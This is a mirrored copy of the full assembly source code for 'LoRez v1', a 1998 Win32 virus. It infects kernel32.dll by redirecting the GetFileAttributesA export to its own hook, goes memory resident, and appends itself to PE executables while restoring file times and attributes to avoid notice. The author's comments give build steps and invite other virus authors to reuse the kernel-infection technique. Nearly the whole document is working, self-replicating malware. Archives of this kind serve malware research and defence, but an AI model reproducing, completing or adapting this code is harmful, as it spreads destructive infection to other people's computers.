mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
809 lines
32 KiB
NASM
809 lines
32 KiB
NASM
|
||
;** NOTE: original release assumed that this virus worked on WinNT, but I
|
||
;** never tested it. I later found out that it does not go memory resident
|
||
;** under WinNT, although it causes no system faults, etc.
|
||
|
||
;
|
||
; LoRez v1 - By Virogen [NoP]
|
||
;
|
||
; This is my final research on Win32 resident kernel infection. LoRez is
|
||
; a memory-resident Win32 PE EXE Infector. It successfully operates on
|
||
; any kernel version of any Win32 platform (Win95,WinNT,Win98). The virus
|
||
; goes memory resident by infecting kernel32.dll. It changes the export
|
||
; RVA of GetFileAttributesA to that of the virus code. The next time the
|
||
; system boots, the virus goes memory resident and infects any PE EXE
|
||
; win32 calls GetFileAttributesA on. This includes any EXE executed as well
|
||
; as many those accessed in many other file manipulations. In order to
|
||
; get around the shared lock on kernel32.dll, LoRez copies the kernel
|
||
; to the windows directory and infects it there. This new copy of the
|
||
; kernel will be found before the original one in the system directory
|
||
; when the system is booted.
|
||
;
|
||
; In order to remove the use of static APIs addresses, LoRez searches
|
||
; the kernel32 export table in memory for the APIs which it requires. It
|
||
; does this by first determining the operating system. It finds this by
|
||
; checking a value on the stack and comparing it to the Win95/98 or WinNT
|
||
; kernel bases, which are static regardless of kernel version. If the
|
||
; operating system cannot be determined, then LoRez passes control back
|
||
; to the host without ever accessing any memory which might cause a fault.
|
||
; Once the kernel base is determined, LoRez finds the export table and
|
||
; then extracts the addresses of the APIs it needs.
|
||
;
|
||
; Virus Name: LoRez v1
|
||
; Virus Author: Virogen [NoP]
|
||
; Release Date: 03-05-98
|
||
; Operating Systems: Win95/WinNT/Win98
|
||
; Hosts : PE EXE files
|
||
; Encryption: Removed, till I get a new poly engine coded
|
||
; File Date/Time: Unchanged
|
||
; File Attributes: Unchanged ; the virus resets and then restores them
|
||
; File Size: Can grow by approx 1.6k at most. Sometimes there will be NO
|
||
; file size increase due to the alignment of the EXE.
|
||
;
|
||
;
|
||
; Past/Present/Future:
|
||
; - My first Win95 virus was Yurn released last week. This was my first
|
||
; attempt at windows resident infection and my first dive into the
|
||
; windows operating system. Yurn infected the kernel by changing the
|
||
; entry code of GetFileAttributesA to a call to the virus code. Yurn
|
||
; was limited because it depended on static APIs and kernel versions
|
||
; hardcoded into it. I regret releasing it in regards to the
|
||
; superority of its spawn LoRez which was released only a week
|
||
; later. However, the Yurn release helped me to acquire many new
|
||
; insights from my virus colleagues. Release date: 02-25-98.
|
||
;
|
||
; - LoRez is my attempt at full Win32 infection without the use of
|
||
; static APIs. LoRez is far superior to Yurn in many respects.
|
||
; It has been a great success and I think will open up a new era of
|
||
; Win32 infection. The techniques LoRez uses opens the Win32 platform
|
||
; to many new possibilities. All that is left now is to add more
|
||
; advanced features such as polymorphism and stealth. I sincerely hope
|
||
; that virus authors will find this code useful in creating their own
|
||
; kernel infectors. Release date: 03-05-98
|
||
;
|
||
; - The future: I will release a 32-bit polymorphic engine next,
|
||
; along with a new and better virus using the techniques I've
|
||
; researched here. This is ofcourse, provided I can finish it
|
||
; before Mar 16 (I'll be gone from the computer world for 3
|
||
; months). If not, then I look forward to seeing the new virus
|
||
; code my colleagues have written in my absence.
|
||
;
|
||
; How to contact me : try effnet #virus
|
||
;
|
||
; Greetz -
|
||
; -l, Memory Lapse, Soul Manager, Murkry, Treaz0n, Cicatrix, Darkman,
|
||
; VirusBuster, and others.
|
||
;
|
||
;
|
||
; HOW TO COMPILE LOREZ:
|
||
; I use TASM32 v5. Included is a makefile for LOREZ. After you compile
|
||
; the virus, just take out your handy hex editor and change the flags
|
||
; of the code object to 0E0000040h. Note that this is stored in intel
|
||
; reverse dd at offset 21Ch in LOREZ.EXE.
|
||
;
|
||
;
|
||
;
|
||
;
|
||
;
|
||
.386
|
||
locals
|
||
jumps
|
||
.model flat,STDCALL
|
||
|
||
L equ
|
||
|
||
extrn ExitProcess : PROC ; this is so the import table
|
||
; won't be empty. Is not used
|
||
; in the virus. You'll need
|
||
; IMPORT32.LIB for this one.
|
||
|
||
org 1000h
|
||
.data ; our lonely data object
|
||
progname db 'LoRez Virus host (c)Virogen',0
|
||
.code ; .code - change flags after compile
|
||
; to r/w/x
|
||
;-----------------------------------------------------------------------------
|
||
;
|
||
start: ; the would-be host
|
||
push 0
|
||
call [ExitProcessAPI] ; exit process
|
||
|
||
;-----------------------------------------------------------------------------
|
||
;
|
||
; LoRez virus starts here
|
||
;
|
||
MAX_HDR equ 0250h ; we shouldn't need more than this
|
||
ID_OFF equ 0ch ; offset in header for our marker
|
||
VIRUS_SIZE equ (offset vend-offset vstart) ; total size of our virus here
|
||
VIRTUAL_SIZE equ (offset buffer_end-offset vstart) ; our virtual size
|
||
MEM_ID equ 12345678h ; our communcation needs
|
||
;
|
||
;
|
||
vstart:
|
||
call geteip ; find relative offset
|
||
geteip:
|
||
mov ebp,[esp] ; grab it off stack
|
||
mov eax,ebp ; used below
|
||
sub ebp,offset geteip ; fix it up
|
||
add esp,4 ; fix da stack
|
||
|
||
db 2dh ; sub eax
|
||
host_addr dd (offset geteip-offset start)
|
||
push eax ; subtract entry point differ
|
||
; to get orginal entry VA
|
||
|
||
mov edx,[esp+4] ; determine OS
|
||
and edx,0fff00000h
|
||
mov eax,0BFF70000h ; WIn95 kernel base 0BFF70000
|
||
cmp edx,0bff00000h ; Win95?
|
||
jz good_os
|
||
mov eax,edx ; our NT kernel at 77F00000
|
||
cmp edx,077f00000h ; WinNT?
|
||
jnz goto_host ; abort if neither
|
||
|
||
good_os:
|
||
;
|
||
; a brief explanation of the organization of the export table would be
|
||
; useful here. Ok, basically there are three tables within the export
|
||
; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal
|
||
; Table (16bit). Ok, the ordinal number of an API is the entry number of
|
||
; the API in the RVA array. So, multiply the ordinal number by four and
|
||
; you've got an index into the API RVA Table. Probably you don't already
|
||
; have the ordinal number though, so you'll have to find it. To do this,
|
||
; you use the Name Pointer Table. This is an array of pointers to the
|
||
; asciiz name of each API. When you find the pointer of the API you're
|
||
; looking for by string compares, you take the index number of it and
|
||
; multiply it by 2 (because the ordinal table is 16bit). Index the result
|
||
; in the ordinal table, and you're all set.
|
||
;
|
||
;
|
||
mov [ebp+imagebase],eax ; save kernel base
|
||
mov esi,eax
|
||
add esi,[esi+3ch] ; relative ptr to PE header
|
||
cmp word ptr [esi],'EP' ; make sure we're on right track
|
||
jnz goto_host ; if not.. abort
|
||
mov esi,[esi+120] ; get export table RVA
|
||
add esi,eax ; relative to image base
|
||
mov edi,[esi+36] ; get ordinal table RVA
|
||
add edi,eax ; relative to image base
|
||
mov [ebp+ordinaltbl],edi ; save it
|
||
mov edi,[esi+32] ; get name ptr RVA
|
||
add edi,eax ; is relative to image base
|
||
mov [ebp+nameptrtbl],edi ; save it
|
||
mov ecx,[esi+24] ; get number of name ptrs
|
||
mov esi,[esi+28] ; get address table RVA
|
||
add esi,eax ; is relative to image base
|
||
mov [ebp+adrtbl],esi ; save it
|
||
|
||
xor edx,edx ; edx is our ordinal counter
|
||
; edi=name ptr table
|
||
; ecx=number of name ptrs
|
||
lea esi,[ebp+APIs] ; -> API Name ptrs
|
||
mov [ebp+ourAPIptr],esi ; save it
|
||
lea eax,[ebp+API_Struct] ; our API address will go here
|
||
mov [ebp+curAPIptr],eax ; save it
|
||
chk_next_API_name:
|
||
mov esi,[ebp+ourAPIptr] ; get ptr to structure item
|
||
mov ebx,[esi] ; load ptr to our API name
|
||
add ebx,ebp ; add relative address
|
||
mov esi,[edi] ; get API name RVA
|
||
add esi,[ebp+imagebase] ; relative to image base
|
||
compare_API_name:
|
||
lodsb
|
||
cmp al,byte ptr [ebx] ; compare a byte of names
|
||
jnz not_our_API ; it's not our API
|
||
cmp al,0 ; end of string?
|
||
jz is_our_API ; it's our API
|
||
inc ebx
|
||
jmp compare_API_name
|
||
|
||
not_our_API:
|
||
inc edx ; increment API counter
|
||
cmp edx,ecx ; last entry of name ptr table?
|
||
jz goto_host ; uhoh.. we didn't find one
|
||
; of our APIs.. abort it all
|
||
add edi,4 ; increment export name ptr idx
|
||
mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct
|
||
jmp chk_next_API_name
|
||
|
||
is_our_API:
|
||
|
||
mov edi,[ebp+ordinaltbl] ; load oridinal table RVA
|
||
push ecx
|
||
push edx
|
||
xchg edx,eax ; edx=API number
|
||
add eax,eax ; *2 cuz ordinals are words
|
||
add edi,eax ; add to ordinal table VA
|
||
mov ax,[edi] ; get ordinal (word)
|
||
xor edx,edx
|
||
mov ecx,4
|
||
mul ecx ; *4 cuz address tbl is dd's
|
||
mov edi,[ebp+adrtbl] ; load address table VA
|
||
add edi,eax ; set idx to API
|
||
mov eax,edi
|
||
sub eax,[ebp+imagebase] ; get the VA of the entry
|
||
mov [ebp+originalRVAptr],eax ; save it for kernel infection
|
||
; notice that our last API
|
||
; in the array is the one we
|
||
; hook
|
||
mov eax,[edi] ; get API RVA
|
||
mov [ebp+originalRVA],eax ; save it for kernel infection
|
||
add eax,[ebp+imagebase] ; is relative to image base
|
||
mov edi,[ebp+curAPIptr] ; idx to storage stucture
|
||
mov [edi],eax ; save VA of API
|
||
add edi,4 ; increment index
|
||
mov [ebp+curAPIptr],edi ; save
|
||
|
||
pop edx
|
||
pop ecx
|
||
|
||
mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx
|
||
mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs
|
||
add esi,4 ; increment idx API name ptr structure
|
||
mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr
|
||
cmp dword ptr [esi],0 ; end of our API structure?
|
||
jz found_all ; if so then we got 'em all
|
||
mov edi,[ebp+nameptrtbl] ; reset idx to export name pt
|
||
xor edx,edx ; reset API counter
|
||
jmp chk_next_API_name
|
||
|
||
;
|
||
; now we're done finding all of our API VAs
|
||
;
|
||
|
||
found_all:
|
||
|
||
mov byte ptr [ebp+offset infkern],1 ; set kernel infection flag
|
||
|
||
lea eax,[ebp+fname]
|
||
push eax ; save for below
|
||
push 0FFh ; max buffer size
|
||
push eax ; ptr
|
||
call [ebp+GetSysDirAPI] ; get system directory
|
||
|
||
pop edi
|
||
add edi,eax ; find end of directory name
|
||
push edi ; where the filename needz to go
|
||
|
||
lea eax,[ebp+copyfname]
|
||
push eax ; save for below
|
||
push 0ffh
|
||
push eax
|
||
call [ebp+GetWinDirAPI] ; get windoze directory
|
||
|
||
pop edi
|
||
add edi,eax
|
||
|
||
lea esi,[ebp+kernfile]
|
||
call copy_str ; append \kernel32.dll to windoze dir
|
||
|
||
pop edi ; restore windoze sys dir
|
||
lea esi,[ebp+kernfile]
|
||
call copy_str ; append kernel32.dll to windoze sys dir
|
||
|
||
push 0
|
||
lea eax,[ebp+copyfname] ; from sys dir
|
||
push eax
|
||
lea eax,[ebp+fname] ; to win dir
|
||
push eax
|
||
call [ebp+CopyFileAPI] ; copy kernel to windows dir
|
||
|
||
cmp eax,0 ; if error then we're prob.
|
||
jz goto_host ; already in memory
|
||
|
||
lea eax,[ebp+copyfname] ; infecting windir\kernel32.dll
|
||
mov [ebp+fnameptr],eax ; set file ptr
|
||
|
||
call infect_file ; infect the kernel
|
||
|
||
goto_host:
|
||
|
||
pop eax ; restore entry VA
|
||
jmp eax ; jmp to host entry VA
|
||
|
||
;-----------------------------------------------
|
||
; infect file - call with fnameptr set
|
||
;
|
||
infect_file:
|
||
|
||
mov eax,[ebp+fnameptr]
|
||
push eax
|
||
mov ecx,MEM_ID ; let us know its us
|
||
call [ebp+GetAttribAPI] ; get file attributes
|
||
mov [ebp+oldattrib],eax
|
||
|
||
cmp eax,-1 ; if error then maybe shared
|
||
jnz not_shared
|
||
ret ; can't infect it
|
||
|
||
not_shared:
|
||
push 20h ; +A
|
||
mov eax,[ebp+fnameptr]
|
||
push eax
|
||
call [ebp+SetAttribAPI] ; clear 'da attribs
|
||
|
||
call open_default_file
|
||
|
||
cmp eax,-1
|
||
jnz open_ok
|
||
ret
|
||
|
||
open_ok:
|
||
|
||
lea eax,[ebp+creation] ; creation time
|
||
push eax
|
||
lea eax,[ebp+lastaccess] ; last accessed
|
||
push eax
|
||
lea eax,[ebp+lastwrite] ; last writen to
|
||
push eax
|
||
push [ebp+handle]
|
||
call [ebp+GetFileTimeAPI] ; grab the file time
|
||
|
||
mov ecx,50h ; read MZ EXE header
|
||
lea edx,[ebp+peheader] ; (if that's what it is)
|
||
call read_file
|
||
|
||
cmp word ptr [ebp+peheader],'ZM' ; is EXE?
|
||
jnz abort_infect
|
||
|
||
mov eax,dword ptr [ebp+peheader+3ch] ; where PE hdr pointer is
|
||
mov [ebp+ptrpeheader],eax ; save it
|
||
call setfp
|
||
|
||
call setfp_pehdr
|
||
|
||
mov ecx,MAX_HDR ; now read the pe header
|
||
lea edx,[ebp+peheader]
|
||
call read_file
|
||
|
||
cmp [ebp+bytesread],MAX_HDR ; could we read it all?
|
||
jnz abort_infect ; something funky if no
|
||
|
||
cmp word ptr [ebp+peheader],'EP' ; PE?
|
||
jnz abort_infect
|
||
cmp dword ptr [ebp+peheader+ID_OFF],0 ; any value here?
|
||
jnz abort_infect ; if yes, infected
|
||
cmp byte ptr [ebp+infkern],1 ; infecting kernel?
|
||
jz skip_base_chk ; if so then its ok to be DLL
|
||
cmp dword ptr [ebp+imagebase],00400000h ; executables should have this
|
||
jnz abort_infect ; base, DLLs probably not.
|
||
skip_base_chk:
|
||
|
||
call [ebp+GetTickCountAPI] ; get tick count
|
||
mov dword ptr [ebp+peheader+ID_OFF],eax ; save as infect flag
|
||
|
||
xor esi,esi
|
||
mov si, word ptr [ebp+NtHeaderSize] ; get header size
|
||
add esi,18h ; object table is here
|
||
mov dword ptr [ebp+ObjTbloff],esi
|
||
|
||
lea eax,[ebp+peheader] ; is relative to PE hdr RVA
|
||
add esi,eax ; esi->object table
|
||
mov [ebp+objtblVA],esi ; save the object table VA
|
||
xor eax,eax
|
||
mov ax,[ebp+numObj] ; get number of objects
|
||
dec eax ; we want last object
|
||
mov ecx,40 ; each object 40 bytes
|
||
xor edx,edx
|
||
mul ecx ; numObj-1*40=last object
|
||
add esi,eax ; esi->last obj
|
||
|
||
lea eax,[ebp+peheader+MAX_HDR-40]
|
||
cmp esi,eax ; if it's out of our range
|
||
jg abort_infect ; then about this here shit
|
||
|
||
mov eax,[esi+20] ; get last object physical off
|
||
mov [ebp+lastobjimageoff],eax ; save it
|
||
|
||
mov ecx,dword ptr [ebp+filealign] ; get file alignment
|
||
mov eax,[esi+16] ; get physical size of object
|
||
mov [ebp+originalpsize],eax ; save it 4 later
|
||
push eax
|
||
add eax,vend-vstart ; size of our code
|
||
call align_fix ; set on file alignment
|
||
mov dword ptr [esi+16],eax ; save new physical size
|
||
|
||
mov ecx,dword ptr [ebp+objalign] ; get object alignment
|
||
push ecx ; save for below
|
||
mov eax,[esi+8] ; get object virtual size
|
||
add eax,VIRTUAL_SIZE ; add our virtual size
|
||
call align_fix ; set on obj alignment
|
||
mov dword ptr [esi+8],eax ; save new virtual size
|
||
|
||
pop ecx
|
||
mov eax,VIRTUAL_SIZE ; how big we is
|
||
add eax,dword ptr [ebp+imagesize] ; add to old image size
|
||
call align_fix ; set on obj alignment
|
||
mov dword ptr [ebp+imagesize],eax ; save new imagesize
|
||
|
||
mov [esi+36],0E0000040h ; set object flags r/x/x
|
||
|
||
pop eax ; restore orginal physical size
|
||
add eax,[esi+12] ; add last object's RVA
|
||
; eax now RVA of virus code
|
||
mov [ebp+virusRVA],eax ; save it
|
||
cmp byte ptr [ebp+offset infkern],0 ; do our kernel32?
|
||
jz new_entry ; nope.. regular PE
|
||
|
||
;--- our kernel infection starts here ---
|
||
;
|
||
; This is really fairly simple. First thing we need to do is find the
|
||
; image offset of the export table entry for the API we're hooking. We
|
||
; do this by locating the object that contains the export table. Then,
|
||
; we subtract the image offset of the object from the virtual offset
|
||
; of the object. The difference is then subtracted from the previously
|
||
; saved RVA of the table entry. =image offset
|
||
;
|
||
; The different Win32 kernels have different objects which their
|
||
; export table is located in. The Win95 kernels have it located in
|
||
; .edata, while win98 puts it in .text, winNT decides to throw the
|
||
; shit in .rdata. How do we determine which kernel is which, and which
|
||
; object to calculate the image offset by? Simple, Win95 is the only
|
||
; kernel that contains .edata, WinNT is the only kernel which contains
|
||
; .rdata, and Win98 is the only kernel which doesn't contain either.
|
||
;
|
||
; Once we extrapolate the image offset of the export table entry for the
|
||
; RVA of the API we're hooking, we just save the old RVA, and put our
|
||
; RVA in its place.
|
||
;
|
||
;
|
||
mov esi,[ebp+objtblVA] ; load object table VA
|
||
xor ecx,ecx
|
||
mov cx,[ebp+numObj] ; get number of objects
|
||
dec ecx
|
||
xor edx,edx ; we'll store our virtual-
|
||
; physical difference here
|
||
calc_fo_loop:
|
||
cmp dword ptr [esi],'ade.' ; is it .edata? for win95
|
||
jz end_calc_fo_loop ; if so we can reference it
|
||
cmp dword ptr [esi],'xet.' ; is it .text? for win98
|
||
jnz not_text
|
||
mov [ebp+objtext],esi ; save table entry offset
|
||
not_text:
|
||
cmp dword ptr [esi],'adr.' ; is it .rdata? for winNT
|
||
jz end_calc_fo_loop ; if rdata exists, then
|
||
; our export shit is there
|
||
add esi,40 ; to next object we go
|
||
dec ecx ; decrement # of objects
|
||
jnz calc_fo_loop ; if not been thru all loop
|
||
mov esi,[ebp+objtext] ; if .edata or .rdata, then
|
||
end_calc_fo_loop: ; it must be .text
|
||
mov edx,[esi+12] ; get the object virtual off
|
||
sub edx,[esi+20] ; subtract physical offset
|
||
mov eax,[ebp+originalRVAptr] ; get table entry rva
|
||
sub eax,edx ; subract difference
|
||
|
||
mov [ebp+FileOff],eax ; save table entry image off
|
||
call setfp ; set file pointer to it
|
||
|
||
mov ecx,4 ; read RVA
|
||
lea edx,[ebp+chkRVA]
|
||
call read_file ; and check it to make sure
|
||
; we've got it right
|
||
mov eax,[ebp+chkRVA]
|
||
cmp eax,[ebp+originalRVA] ; is it the right RVA?
|
||
jnz abort_infect ; if not abort infection
|
||
|
||
mov eax,[ebp+FileOff] ; get image offset
|
||
call setfp ; set file ptr to table entry
|
||
|
||
mov eax,[ebp+virusRVA] ; get virus RVA
|
||
add eax,(offset hook-offset vstart) ; find our API hook RVA
|
||
|
||
lea esi,[ebp+hookRVA] ; to be written
|
||
mov [esi],eax ; save hook RVA
|
||
mov ecx,4 ; dd
|
||
call write_code ; write the new hook RVA
|
||
|
||
mov eax,[ebp+originalRVA] ; get orginal API RVA
|
||
add eax,[ebp+imagebase] ; relative to image base
|
||
mov [ebp+jmpback],eax ; save it
|
||
|
||
jmp calc_reloc ; skip entry point change..
|
||
|
||
;-------------------------------------------------------
|
||
; our PE EXE infection
|
||
;
|
||
new_entry:
|
||
mov eax,[ebp+virusRVA] ; eax=virus RVA
|
||
mov ebx,dword ptr [ebp+entrypointRVA] ; save old entry point
|
||
mov dword ptr [ebp+entrypointRVA],eax ; put our RVA as entry
|
||
|
||
calc_reloc:
|
||
add eax,(offset geteip-offset vstart) ; fix for our reloc call
|
||
sub eax,ebx ; difference of entry pts
|
||
mov dword ptr [ebp+offset host_addr],eax ; virusRVA-entryRVA=diff
|
||
; virusVA-diff=entryVA
|
||
|
||
call setfp_pehdr ; back to PE header
|
||
|
||
lea esi,[ebp+peheader] ; write the new PE header
|
||
mov ecx,MAX_HDR
|
||
call write_code ; to the host
|
||
|
||
mov eax,[ebp+originalpsize] ; restore original physical size
|
||
add eax,[ebp+lastobjimageoff] ; add object physical offset
|
||
call setfp ; set ptr to end of object
|
||
|
||
lea esi,[ebp+vstart]
|
||
mov ecx,VIRUS_SIZE
|
||
call write_code ; write the virus code to the host
|
||
|
||
abort_infect:
|
||
|
||
lea eax,[ebp+creation] ; creation time
|
||
push eax
|
||
lea eax,[ebp+lastaccess] ; last accessed
|
||
push eax
|
||
lea eax,[ebp+lastwrite] ; last writen to
|
||
push eax
|
||
push [ebp+handle]
|
||
call [ebp+SetFileTimeAPI] ; restore orginal file time
|
||
|
||
call close_file ; we're done
|
||
|
||
mov eax,[ebp+oldattrib] ; get original attribs
|
||
push eax
|
||
mov eax,[ebp+fnameptr]
|
||
push eax
|
||
call [ebp+SetAttribAPI] ; restore the original attributes
|
||
ret
|
||
|
||
;---------------------------------------------------------------
|
||
; close handle at [handle]
|
||
;
|
||
close_file:
|
||
push dword ptr [ebp+offset handle]
|
||
call [ebp+CloseFileAPI]
|
||
ret
|
||
|
||
;---------------------------------------------------------------
|
||
; opens file with ptr to filename at [fnameptr]
|
||
;
|
||
open_default_file:
|
||
mov eax,[ebp+fnameptr]
|
||
;---------------------------------------------------------------
|
||
; opens file, pass eax->filename
|
||
;
|
||
open_file:
|
||
push 0
|
||
push 20h ; r+w
|
||
push 3 ; 3=open existing file
|
||
push 0
|
||
push 0
|
||
push 0C0000000h ; open for r+w
|
||
push eax
|
||
call [ebp+CreateFileAPI]
|
||
mov [ebp+handle],eax ; save handle
|
||
ret
|
||
|
||
;---------------------------------------------------------------
|
||
; read handle
|
||
; pass ecx=bytes to read, edx=offset for bytes read
|
||
;
|
||
read_file:
|
||
push 0
|
||
lea eax,[ebp+bytesread]
|
||
push eax
|
||
push ecx
|
||
push edx
|
||
push [ebp+handle]
|
||
call [ebp+ReadFileAPI]
|
||
ret
|
||
|
||
;--------------------------------------------------------------
|
||
; sets eax on alignment of ecx
|
||
;
|
||
align_fix:
|
||
xor edx,edx
|
||
div ecx ; /alignment
|
||
inc eax ; next alignment
|
||
mul ecx ; *alignment
|
||
ret
|
||
|
||
;--------------------------------------------------------------
|
||
; set file pointer to PE header
|
||
setfp_pehdr:
|
||
mov eax,[ebp+ptrpeheader]
|
||
|
||
;--------------------------------------------------------------
|
||
; set file ptr of [handle]
|
||
; pass eax=offset from beginning
|
||
;
|
||
setfp:
|
||
push 0
|
||
push 0
|
||
push eax
|
||
push [ebp+handle]
|
||
call [ebp+SetFilePtrAPI]
|
||
ret
|
||
|
||
;-------------------------------------------------------------
|
||
; write to [handle]
|
||
; pass ecx=bytes to write, esi->source
|
||
;
|
||
write_code:
|
||
push 0
|
||
lea eax,[ebp+bytesread]
|
||
push eax
|
||
push ecx
|
||
push esi
|
||
push [ebp+handle]
|
||
call [ebp+WriteFileAPI]
|
||
ret
|
||
|
||
|
||
;-------------------------------------------------------------
|
||
; copy string
|
||
; pass edi->destination esi->source
|
||
;
|
||
|
||
copy_str:
|
||
mov ecx,0FFh ; no bigger than 256
|
||
copystr:
|
||
lodsb
|
||
stosb
|
||
cmp al,0
|
||
jz copystrdone
|
||
loop copystr
|
||
copystrdone:
|
||
ret
|
||
|
||
|
||
;------------------------------ hooked ------------------------
|
||
; this is our API hook for GetAttrib
|
||
;
|
||
hook:
|
||
|
||
pushfd
|
||
push eax ; save regs
|
||
push ebx
|
||
push ecx
|
||
push edx
|
||
push edi
|
||
push esi
|
||
push ebp
|
||
|
||
call reloc ; find relative index
|
||
reloc:
|
||
pop ebp ; eip
|
||
sub ebp, offset reloc ; get relative address
|
||
|
||
lea eax,[ebp+jmpback] ; get jump back ptr
|
||
mov [ebp+jmpbackptr],eax ; save jump back ptr
|
||
|
||
cmp ecx,MEM_ID ; is it us?
|
||
jz abort_mem ; if so then abort
|
||
|
||
mov byte ptr [ebp+infkern],0 ; we're infecting normal
|
||
|
||
mov eax,[esp+24h] ; ptr to filename is here
|
||
mov [ebp+fnameptr],eax ; save ptr to filename
|
||
call infect_file ; replicate ourselves
|
||
abort_mem:
|
||
pop ebp ; restore regs
|
||
pop esi
|
||
pop edi
|
||
pop edx
|
||
pop ecx
|
||
pop ebx
|
||
pop eax
|
||
popfd
|
||
|
||
db 0FFh,25h ; jmp [ ]
|
||
jmpbackptr dd offset jmpback
|
||
|
||
jmpback dd 0 ; original API VA
|
||
|
||
db '<27> [LoRez] v1 by Virogen [NoP] <20>' ; it's i said the fly
|
||
|
||
kernfile db '\KERNEL32.dll',0 ; our kernel filename
|
||
kernfile_e:
|
||
|
||
APIs: ; structure of ptrs to our API names
|
||
dd offset GetTicks
|
||
dd offset GetWinDir
|
||
dd offset SetAttrib
|
||
dd offset CreateFile
|
||
dd offset SetFilePtr
|
||
dd offset ReadFile
|
||
dd offset WriteFile
|
||
dd offset CloseFile
|
||
dd offset GetSysDir
|
||
dd offset CopyFile
|
||
dd offset GetFileTime
|
||
dd offset SetFileTime
|
||
dd offset ExitProc
|
||
dd offset GetAttrib ; the last entry is our hooked API
|
||
dd 0
|
||
; our API names
|
||
GetTicks db 'GetTickCount',0
|
||
GetWinDir db 'GetWindowsDirectoryA',0
|
||
SetAttrib db 'SetFileAttributesA',0
|
||
CreateFile db 'CreateFileA',0
|
||
SetFilePtr db 'SetFilePointer',0
|
||
ReadFile db 'ReadFile',0
|
||
WriteFile db 'WriteFile',0
|
||
CloseFile db 'CloseHandle',0
|
||
GetSysDir db 'GetSystemDirectoryA',0
|
||
CopyFile db 'CopyFileA',0
|
||
GetFileTime db 'GetFileTime',0
|
||
SetFileTime db 'SetFileTime',0
|
||
ExitProc db 'ExitProcess',0 ; only used in original host
|
||
GetAttrib db 'GetFileAttributesA',0
|
||
|
||
API_Struct: ; structure for API VAs
|
||
GetTickCountAPI dd 0
|
||
GetWinDirAPI dd 0
|
||
SetAttribAPI dd 0
|
||
CreateFileAPI dd 0
|
||
SetFilePtrAPI dd 0
|
||
ReadFileAPI dd 0
|
||
WriteFileAPI dd 0
|
||
CloseFileAPI dd 0
|
||
GetSysDirAPI dd 0
|
||
CopyFileAPI dd 0
|
||
GetFileTimeAPI dd 0
|
||
SetFileTimeAPI dd 0
|
||
ExitProcessAPI dd 0
|
||
GetAttribAPI dd 0
|
||
FileOff dd 0
|
||
APIStructEnd:
|
||
|
||
; data below is not written to disk, but is allocated by object
|
||
vend:
|
||
|
||
handle dd 0 ; file handle
|
||
infkern db 0 ; kernel infection flag
|
||
ptrpeheader dd 0 ; offset of PE header
|
||
ObjTbloff dd 0 ; offset of object table
|
||
objtblVA dd 0 ; VA of object table
|
||
bytesread dd 0 ; return from fread/fwrite
|
||
|
||
nameptrtbl dd 0
|
||
adrtbl dd 0
|
||
ourAPIptr dd 0
|
||
curAPIptr dd 0
|
||
ordinaltbl dd 0
|
||
originalRVAptr dd 0 ; RVA ptr to our hooked API RVA
|
||
originalRVA dd 0 ; orginal RVA of our hooked API
|
||
chkRVA dd 0
|
||
originalpsize dd 0
|
||
hookRVA dd 0
|
||
virusRVA dd 0
|
||
hdrread dd 0
|
||
lastobjimageoff dd 0
|
||
objtext dd 0
|
||
creation dd 0,0 ; our file time structures
|
||
lastaccess dd 0,0
|
||
lastwrite dd 0,0
|
||
|
||
oldattrib dd 0 ; stored file attribs
|
||
fnameptr dd 0 ; ptr to file name we're infecting
|
||
fname db 64 dup (0) ; storage for source kernel32.dll
|
||
copyfname db 64 dup (0) ; storage for dest. kernel32.dll
|
||
|
||
peheader: ; PE header format
|
||
signature dd 0
|
||
cputype dw 0
|
||
numObj dw 0
|
||
dd 0,0,0
|
||
NtHeaderSize dw 0
|
||
Flags dw 0
|
||
dd 0,0,0,0
|
||
entrypointRVA dd 0
|
||
dd 0,0
|
||
imagebase dd 0
|
||
objalign dd 0
|
||
filealign dd 0
|
||
dd 0,0,0,0
|
||
imagesize dd 0
|
||
headersize dd 0
|
||
|
||
db MAX_HDR*2 dup (0)
|
||
buffer_end:
|
||
ends
|
||
end vstart
|
||
|
||
|